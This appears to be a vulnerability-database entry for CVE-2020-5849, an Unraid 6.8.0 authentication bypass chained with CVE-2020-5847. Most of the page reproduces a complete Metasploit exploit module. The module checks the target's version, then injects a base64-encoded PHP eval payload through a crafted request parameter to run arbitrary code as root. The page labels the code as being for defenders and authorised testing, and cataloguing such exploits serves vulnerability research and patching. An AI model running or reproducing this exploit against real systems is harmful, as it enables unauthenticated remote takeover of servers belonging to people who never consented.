CVE-2020-5849
Description
Unraid contains an authentication bypass vulnerability that allows attackers to gain access to the administrative interface. This CVE is chainable with CVE-2020-5847 for remote code execution.
CISA KEV
- Vendor
- Unraid
- Product
- Unraid
- Due date
- 2022-05-03
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
This module exploits two vulnerabilities affecting Unraid 6.8.0.
An authentication bypass is used to gain access to the administrative
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
},
'Author' =>
[
'Nicolas CHATELAIN <n.chatelain@sysdream.com>'
],
'References' =>
[
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 10 2020'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET'
)
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200
return CheckCode::Safe('Unexpected reply')
end
/\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2}) / =~ res.body
if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end
CheckCode::Safe
end
def exploit
begin
vprint_status('Sending exploit code')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
'encode_params' => false,
'vars_get' =>
{
'path' => 'x',
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)
if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else
print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
Metasploit modules
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.